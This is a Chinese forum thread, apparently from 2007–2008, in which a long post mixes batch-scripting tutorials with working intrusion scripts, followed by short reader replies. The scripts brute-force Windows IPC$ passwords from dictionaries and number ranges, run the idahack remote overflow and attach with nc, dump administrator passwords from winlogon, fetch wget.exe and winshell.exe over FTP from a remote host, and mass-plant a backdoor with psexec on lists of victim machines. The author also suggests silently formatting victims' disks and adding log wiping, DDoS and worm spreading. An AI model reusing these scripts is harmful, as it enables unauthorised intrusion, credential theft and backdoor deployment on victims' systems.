这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程：“简明批处理教程”，虽然说的比较全面，但看起来很不过瘾。在对for等命令介绍时就一个for /? > a.txt & start a.txt完事了（当然这一点上我不能说人家什么，毕竟我连for /?都没给出），而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命令，是因为他们才是批处理的精华和灵魂，能否正确利用好这几个命令，是能否掌握批处理的前提条件。如for、set等DOS命令的问题，可以从DOS的角度出发专门有针对性的学习，但有关这几个命令的问题，却是不容易精通掌握的----他们之间的关系太复杂了！
将下列代码存为bat文件
1、如果用字典破解：pass.bat 字典文件路径及名称 主机 用户名
2、如果用数字破解：pass.bat 起始数 步长 结束数 主机 用户名
密码破解出来之后，存放于c:\pass.txt文件里面。
将下列代码存为pass.bat文件
@echo off
echo ------------------------------------------------------------------- >>c:\pass.txt
echo ------------------------------------------------------------------- >>c:\pass.txt
date /t >>c:\pass.txt
time /t >>c:\pass.txt
echo 破解结果： >>c:\pass.txt
if "%6"=="1" goto 大棒槌是我的说2
:大棒槌是我的说1
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:大棒槌是我的说2
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit
将下列代码存为test.bat
net use \\%1\ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一命令执行返回结果，net use成功返回0，失败返回2
:answer0
echo 远程主机："%1" >>c:\pass.txt
echo 用 户："%3" >>c:\pass.txt
echo 密 码：%2 >>c:\pass.txt
net use \\%1\ipc$ /delet
exit
:answer2

For
对一组文件中的每个文件运行指定的命令。

可以在批处理程序中或直接从命令提示符使用 for 命令。

要在批处理程序中使用 for 命令，请使用以下语法：

for %%variable in (set) docommand [command-parameters]

要在命令提示符下使用 for，请使用以下语法：

for %variable in (set) do command [command-parameters]

参数

%%variable 或 %variable

代表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable（或 %variable），直到此命令（在 command-parameters 中指定）处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 % variable 通过命令提示符执行 for 命令。变量名区分大小写。

(set)

指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。

command

指定要在指定的 set 所包含的每个文件上执行的命令。

command-parameters

指定要用于指定命令（如果指定的命令要使用任何参数或开关）的任何参数或开关。

如果启用了命令扩展（Windows 2000 中的默认设置)，将支持 for 命令的其他形式。
For 命令的其他形式
如果启用了命令扩展，将支持如下 for 命令的其他格式：

只限于目录

for /D [%% | %]variable in (set) docommand [command-parameters]

如果 set 包含通配符（* 和 ?），则指定与目录名匹配，而不是文件名。

递归

for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]

进入根目录树[drive:]path，在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录，则假定为当前目录。如果 set 只是一个句号 (.) 字符，则只列举目录树。

迭代

for /L [%% | %]variable in (start，step，end) do command [command-parameters]

集合是一系列按步长量划分的、从头到尾的数字。这样，(1,1,5) 将生成序列 1 2 3 4 5，而 (5,-1,1) 将生成序列 (5 4 3 2 1)。

BAT文件技巧

文章结构
1. 所有内置命令的帮助信息
2. 环境变量的概念
3. 内置的特殊符号(实际使用中间注意避开)
4. 简单批处理文件概念
5. 附件1 tmp.txt
6. 附件2 sample.bat

######################################################################
1. 所有内置命令的帮助信息
######################################################################
ver
cmd /?

set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?
______________________________________________________________________
下面将所有上面的帮助输出到一个文件
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? >>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp.txt
for /? >>tmp.txt
echo shift /? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
echo type /? >>tmp.txt
type /? >>tmp.txt
echo find /? >>tmp.txt
find /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo copy /? >>tmp.txt
copy /? >>tmp.txt
type tmp.txt
______________________________________________________

######################################################################
2. 环境变量的概念
######################################################################
_____________________________________________________________________________
C:Program Files>set
ALLUSERSPROFILE=C:Documents and SettingsAll Users
CommonProgramFiles=C:Program FilesCommon Files
COMPUTERNAME=FIRST
ComSpec=C:WINNTsystem32cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:WINNTsystem32os2dll;
Path=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:WINNT
TEMP=C:WINNTTEMP
TMP=C:WINNTTEMP
USERPROFILE=C:Documents and SettingsDefault User
windir=C:WINNT
_____________________________________________________________________________

path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到
%windir%system32. 这个目录里面. 一般就可以自动搜索到.
语法: copy mychenxu.exe %windir%system32.
使用点(.) 便于一目了然
对环境变量的引用使用(英文模式,半角)双引号
%windir% 变量
%%windir%% 二次变量引用.
我们常用的还有
%temp% 临时文件目录
%windir% 系统目录
%errorlevel% 退出代码

输出文件到临时文件目录里面.这样便于当前目录整洁.

对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作
C:>dir p*
C: 的目录
2000-09-02 11:47 2,164 PDOS.DEF
1999-01-03 00:47

Program Files
1 个文件 2,164 字节
1 个目录 1,505,997,824 可用字节

C:>cd pro*
C:Program Files>

C:>
C:>cd "Program Files"
C:Program Files>

######################################################################
3. 内置的特殊符号(实际使用中间注意避开)
######################################################################
微软里面内置了下列字符不能够在创建的文件名中间使用
con nul aux / | || && ^ > < *

You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)
To create the variable value new&name, type:
set varname=new^&name

To create the variable value "new&name", type:
set varname="new&name"

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find "Pacific Rim" < trade.txt > nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. missing

> 创建一个文件
>> 追加到一个文件后面
@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示
^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一样的缺省分隔符号.
; 注释,表示后面为注释
: 标号作用
| 管道操作
& Usage：第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令，而不管命令是否执行成功
dir c:*.exe & dir d:*.exe & dir e:*.exe
&& Usage：第一条命令 && 第二条命令 [&& 第三条命令...]
当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；
|| Usage：第一条命令 || 第二条命令 [|| 第三条命令...]
当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；

常用语法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF "%1"=="" goto END
IF "%1"=="net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
按照字母顺序 ijklmnopq依次取参数.
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

######################################################################
4. 简单批处理文件概念
######################################################################

echo This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
echo This is test 22222 > a.txt
type a.txt
第二个echo是追加
第三个echo将清空a.txt 重新创建 a.txt

netstat -n | find "3389"
这个将要列出所有连接3389的用户的ip.

________________test.bat___________________________________________________
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不显示注释语句,本行显示
@rem 不显示注释语句,本行不显示
@if exist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%system32fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
___________________________________________________________________________

下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.

___________________ida.bat_________________________________________________
@rem ver 1.0
@if NOT exist %windir%system32idahack.exe echo "ERROR: dont find idahack.exe"
@if NOT exist %windir%system32nc.exe echo "ERROR: dont find nc.exe"

@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2

:start
@echo Now start ...
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%_tmp
@echo "prog exit code [%errorlevel%] idahack.exe"
@type %temp%_tmp
@find "good luck :)" %temp%_tmp
@echo "prog exit code [%errorlevel%] find [goog luck]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END

:SP2
@idahack.exe %1 80 %2 99 %temp%_tmp
@type %temp%_tmp
@find "good luck :)" %temp%_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END

:USAGE
@echo Example: ida.bat IP
@echo Example: ida.bat IP (2,3)

:END
_____________________ida.bat__END_________________________________

下面我们再来第二个文件.就是得到administrator的口令.
大多数人说得不到.其实是自己的没有输入正确的信息.

___________________________fpass.bat____________________________________________
@rem ver 1.0
@if NOT exist %windir%system32findpass.exe echo "ERROR: dont find findpass.exe"
@if NOT exist %windir%system32pulist.exe echo "ERROR: dont find pulist.exe"

@echo start....
@echo ____________________________________
@if "%1"=="" goto USAGE
@findpass.exe %1 %2 %3 >> %temp%_findpass.txt
@echo "prog exit code [%errorlevel%] findpass.exe"
@type %temp%_findpass.txt
@echo ________________________________Here__pass★★★★★★★★
@ipconfig /all >>%temp%_findpass.txt
@goto END

:USAGE
@pulist.exe >%temp%_pass.txt
@findstr.exe /i "WINLOGON explorer internat" %temp%_pass.txt
@echo "Example: fpass.bat %1 %2 %3 %4 !!!"
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

:END
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
@echo " fpass.bat end [%errorlevel%] !"
_________________fpass.bat___END___________________________________________________________

还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)
依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!

echo open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w

批处理，说白了就是DOS操作。有人认为DOS操作过时了、落后了，其实不然。DOS操作最大的好处就在于快、不留痕。在许多时候，Windows操作是根本解决不了问题的，必须借助DOS操作。

    必备常识：批处理的编写和修改

    打开记事本，将要编写的内容写在里面。在存为bat文件即可。修改也可以用记事本打开进行修改。

    批处理运用一：扫描本地端口

    这个功能优化大师有，就是扫描哪个端口与internet连接和连接ip。这，为及时发现并拦截非法连接有着不可取代的功劳。

    然而，启动优化大师太慢了，而且太烦了，不利于随机使用。因此，编写一个这样的批处理来解决问题就显得尤为重要了。

    ************************************************************
    代码：
    netstat -n
    pause
    附：也可在每一行开头添上“@”，这样命令就不会显示出来。
    ************************************************************

    批处理运用二：查常见病毒

    其实，对于上网的人来说，遇到病毒是在所难免的。然而，如果真的不幸感染，怎样才能发现呢？难道真的要买昂贵的杀毒软件吗？不一定。

    我们可以编写批处理来查一些常见的网络病毒。如果确认感染病毒，可以下载专用杀毒工具进行查杀，或采取其他途径杀毒。

    下面，我以欢乐时光为例进行分析：

    主文件：1.bat
    其它文件：2.bat 3.bat

    ************************************************************
    1.bat代码：
    @if exist c:\folder.htt call 2.bat
    @if exist d:\folder.htt call 2.bat
    @if exist e:\folder.htt call 2.bat
    @if exist f:\folder.htt call 2.bat
    ************************************************************
    2.bat代码：
    @echo 发现欢乐时光病毒！
    @call 3.bat
    @pause
    ************************************************************
    3.bat代码：
    @c:
    @dir *.htt *.ini /s/a>1.txt
    @d:
    @dir *.htt *.ini /s/a>1.txt
    @e:
    @dir *.htt *.ini /s/a>1.txt
    ************************************************************

    这样，如果中毒，那么必定会存在大量folder.htt和Desktop.ini，通过这样可以粗略的检查计算机是否感染病毒。

    批处理运用三：文件处理

    假设，我要大规模的做文件的移动、删除等，如果在Windows里操作不免会出现错误，而且这些错误不易察觉。因此，用批处理进行操作，不但简单易行，而且容易发现错误并可以及时纠正。

    例如，我要将D盘的htm文件移动到E盘，再格式化D盘，然后将文件移回D盘，并改后缀为html。

    ************************************************************
    1.bat代码：
    @E:
    @Md d
    @D:
    @Copy *.htm e:\d
    @if exist e:\d\*.htm call 2.bat
    ************************************************************
    2.bat代码：
    @Format d:/q
    @Copy e:\d\*.htm d:
    @D:
    @Ren *.htm *.html
    ************************************************************

    从例子中，可以看出，如果一旦出现问题，是很容易被发现的。从而，也证明了批处理的可用性。

    关于批处理的运用，可以说博大精深，变化莫测。希望大家能够用DOS命令去优化它，这样才能让其更好的为我们服务。

批处理命令

1.Echo 命令

打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。

语法：echo [{on|off}] [message]
Sample：echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用> >> ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

2.@ 命令

表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。
Sample：@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。)

3.Goto 命令
指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。

语法：goto label （label是参数，指定所要转向的批处理程序中的行。）
Sample：
if {%1}=={} goto noparms
if {%2}=={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。）
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

4.Rem 命令

注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。
Rem Message
Sample：@Rem Here is the description.

5.Pause 命令

运行 Pause 命令时，将显示下面的消息：
Press any key to continue . . .
Sample：
@echo off
:begin
copy a:*.* d：\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。

6.Call 命令

从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。

语法：call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

参数：[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

7.start 命令

调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数：
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。

8.choice 命令

choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234……

如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample：
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag （应先判断数值最高的错误码）
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。

9.If 命令

if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式:

1、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号）
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2、if exist 文件名 待执行的命令
如果有指定的文件，则条件成立，运行命令，否则运行下一句。
如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。
如if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。

10.for 命令

for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I

如果命令扩展名被启用，下列额外的 FOR 命令格式会受到
支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符，则指定与目录名匹配，而不与文件
名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

检查以 [drive:]path 为根的目录树，指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录，则使用当前
目录。如果集仅为一个单点(.)字符，则枚举该目录树。

FOR /L %variable IN (start,step,end) DO command [command-para

该集表示以增量形式从开始到结束的一个数字序列。
因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

或者，如果有 usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前，每份文件都已被打开、读取并经过处理。
处理包括读取文件，将其分成一行行的文字，然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:

eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号，
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将
每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或
空格定界符号。请注意，这个 for 程序体的语句引用 %i 来
取得第二个符号，引用 %j 来取得第三个符号，引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名，您需要用双引号将文件名括起来。为了用这种方式来使
用双引号，您还需要使用 usebackq 选项，否则，双引号会
被理解成是用作定义某个要分析的字符串的。

%i 专门在 for 语句中得到说明，%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号，只要不试图说明一个高于字母 z 或
Z 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；
同时不能有 52 个以上都在使用中。

您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，
用单引号将括号之间的 filenameset 括起来。这样，该字符
串会被当作一个文件中的一个单一输入行。

最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进
内存，并被当作文件分析。因此，以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

会枚举当前环境中的环境变量名称。

另外，FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:

~I - 删除任何引号(")，扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义，或者没有找到文件，此组合键会扩充
空字符串

可以组合修饰符来得到多重结果:

%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR

在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读，而且避免与不分大小写的组合键混淆。

以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。

sample2：

利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下密码。
最主要的命令是一条：for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令－－
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ，这样就ko了。

sample3：

你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。

主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。
代码雏形：

--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
收藏 分享
回复 引用

评分 报告

ranon
  • 发短消息
  • 加为好友

ranon 当前离线

UID
164
帖子
17
精华
0
积分
186
PB
186
技术
0
捐助
0
阅读权限
20
在线时间
3 小时
注册时间
2007-12-22
最后登录
2007-12-23

二级士官

帖子
17
积分
186
技术
0
捐助
0
注册时间
2007-12-22
2楼
发表于 2007-12-22 10:21 | 只看该作者
:) 看了好久了......
回复 引用

评分 报告 TOP

hsyxh
  • 发短消息
  • 加为好友

hsyxh 当前离线

UID
513
帖子
10
精华
0
积分
178
PB
178
技术
0
捐助
0
阅读权限
20
在线时间
6 小时
注册时间
2008-2-14
最后登录
2009-10-1

二级士官

帖子
10
积分
178
技术
0
捐助
0
注册时间
2008-2-14
3楼
发表于 2008-2-14 21:24 | 只看该作者
值得我们学习再学习。
回复 引用

评分 报告 TOP

木石前盟
  • 发短消息
  • 加为好友

木石前盟 当前离线

UID
521
帖子
1
精华
0
积分
164
PB
164
技术
0
捐助
0
阅读权限
20
在线时间
1 小时
注册时间
2008-2-15
最后登录
2008-10-20

二级士官

帖子
1
积分
164
技术
0
捐助
0
注册时间
2008-2-15
4楼
发表于 2008-2-16 19:06 | 只看该作者
好东东，看一下要好多时间，不过长知识
回复 引用

评分 报告 TOP

theflash
  • 发短消息
  • 加为好友

theflash 当前离线

UID
499
帖子
5
精华
0
积分
175
PB
175
技术
0
捐助
0
阅读权限
20
在线时间
5 小时
注册时间
2008-2-13
最后登录
2009-3-6

二级士官

帖子
5
积分
175
技术
0
捐助
0
注册时间
2008-2-13
5楼
发表于 2008-2-16 22:37 | 只看该作者
实实在在有用的东西。。。。收藏&看
Free Fire Flash
回复 引用

评分 报告 TOP

cqqwing
  • 发短消息
  • 加为好友

cqqwing 当前离线

将军

UID
745
帖子
1
精华
0
积分
167
PB
167
技术
0
捐助
0
阅读权限
20
来自
重庆
在线时间
0 小时
注册时间
2008-3-3
最后登录
2008-3-3

二级士官

帖子
1
积分
167
技术
0
捐助
0
注册时间
2008-3-3
6楼
发表于 2008-3-3 12:07 | 只看该作者

批处理教程

不知道会怎么样哦！？？？？？？？？？？
希望批处理可以战胜EXE
回复 引用

评分 报告 TOP

sszx8888
  • 发短消息
  • 加为好友

sszx8888 当前离线

UID
759
帖子
1
精华
0
积分
166
PB
166
技术
0
捐助
0
阅读权限
20
在线时间
0 小时
注册时间
2008-3-3
最后登录
2008-3-3

二级士官

帖子
1
积分
166
技术
0
捐助
0
注册时间
2008-3-3
7楼
发表于 2008-3-3 19:07 | 只看该作者

慢慢看

值得慢慢看，批处理太多了
回复 引用

评分 报告 TOP

compalsa
  • 发短消息
  • 加为好友

compalsa 当前离线

UID
836
帖子
2
精华
0
积分
168
PB
168
技术
0
捐助
0
阅读权限
20
在线时间
0 小时
注册时间
2008-3-7
最后登录
2008-3-7

二级士官

帖子
2
积分
168
技术
0
捐助
0
注册时间
2008-3-7
8楼
发表于 2008-3-7 08:45 | 只看该作者
太强大，太和谐了，高人啊
回复 引用

评分 报告 TOP

nidecunzai
  • 发短消息
  • 加为好友

nidecunzai 当前离线

摸金校尉

UID
968
帖子
4
精华
0
积分
170
PB
170
技术
0
捐助
0
阅读权限
20
在线时间
0 小时
注册时间
2008-3-11
最后登录
2008-3-11

二级士官

帖子
4
积分
170
技术
0
捐助
0
注册时间
2008-3-11
9楼
发表于 2008-3-11 20:36 | 只看该作者
很久没遇到那么好玩的东西了，长知识就是好，比打游戏爽
低调，切莫张扬。
回复 引用

评分 报告 TOP

easyguy
  • 发短消息
  • 加为好友

easyguy 当前离线

UID
1159
帖子
5
精华
0
积分
171
PB
171
技术
0
捐助
0
阅读权限
20
在线时间
10 小时
注册时间
2008-3-18
最后登录
2008-8-24

二级士官

帖子
5
积分
171
技术
0
捐助
0
注册时间
2008-3-18
10楼
发表于 2008-3-19 14:00 | 只看该作者
FOR命令我还是没搞懂！？？？？？
回复 引用

评分 报告 TOP

雁过秋凉
  • 发短消息
  • 加为好友

雁过秋凉 当前离线

UID
950
帖子
7
精华
0
积分
177
PB
177
技术
0
捐助
0
阅读权限
20
在线时间
6 小时
注册时间
2008-3-11
